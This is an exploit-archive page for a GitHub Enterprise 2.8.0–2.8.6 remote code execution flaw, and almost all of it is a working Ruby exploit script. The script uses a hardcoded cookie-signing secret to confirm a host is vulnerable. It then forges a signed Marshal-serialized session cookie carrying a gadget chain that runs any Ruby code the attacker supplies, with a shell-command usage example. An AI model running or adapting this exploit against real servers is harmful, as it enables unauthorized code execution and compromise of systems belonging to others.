GitHub Enterprise 2.8.0 < 2.8.6 - Remote Code Execution



EKU-ID: 6381 CVE: OSVDB-ID:
Author: iblue Published: 2017-03-16 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/ruby
require "openssl"
require "cgi"
require "net/http"
require "uri"
 
SECRET = "641dd6454584ddabfed6342cc66281fb"
 
puts '                     ___.   .__                 '
puts '  ____ ___  ________ \_ |__ |  |  __ __   ____  '
puts '_/ __ \\\\  \/  /\__  \ | __ \|  | |  |  \_/ __ \ '
puts '\  ___/ >    <  / __ \| \_\ \  |_|  |  /\  ___/ '
puts ' \___  >__/\_ \(____  /___  /____/____/  \___  >'
puts '     \/      \/     \/    \/                 \/ '
puts ''
puts "github Enterprise RCE exploit"
puts "Vulnerable: 2.8.0 - 2.8.6"
puts "(C) 2017 iblue <iblue@exablue.de>"
 
unless ARGV[0] && ARGV[1]
  puts "Usage: ./exploit.rb <hostname> <valid ruby code>"
  puts ""
  puts "Example: ./exploit.rb ghe.example.org \"%x(id > /tmp/pwned)\""
  exit 1
end
 
hostname = ARGV[0]
code = ARGV[1]
 
# First we get the cookie from the host to check if the instance is vulnerable.
puts "[+] Checking if #{hostname} is vulnerable..."
 
http = Net::HTTP.new(hostname, 8443)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates
 
rqst = Net::HTTP::Get.new("/")
 
while res = http.request(rqst)
  case res
  when Net::HTTPRedirection then
    puts "  => Following redirect to #{res["location"]}..."
    rqst = Net::HTTP::Get.new(res["location"])
  else
    break
  end
end
 
def not_vulnerable
  puts "  => Host is not vulnerable"
  exit 1
end
 
unless res['Set-Cookie'] =~ /\A_gh_manage/
  not_vulnerable
end
 
# Parse the cookie
begin
  value = res['Set-Cookie'].split("=", 2)[1]
  data = CGI.unescape(value.split("--").first)
  hmac = value.split("--").last.split(";", 2).first
  expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data)
  not_vulnerable if expected_hmac != hmac
rescue
  not_vulnerable
end
 
puts "  => Host is vulnerable"
 
# Now construct the cookie
puts "[+] Assembling magic cookie..."
 
# Stubs, since we don't want to execute the code locally.
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
 
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "#{code}; 1"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
 
session = {"session_id" => "", "exploit" => proxy}
 
# Marshal session
dump = [Marshal.dump(session)].pack("m")
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
 
puts "[+] Sending cookie..."
 
rqst = Net::HTTP::Get.new("/")
rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"
 
res = http.request(rqst)
 
if res.code == "302"
  puts "  => Code executed."
else
  puts "  => Something went wrong."
end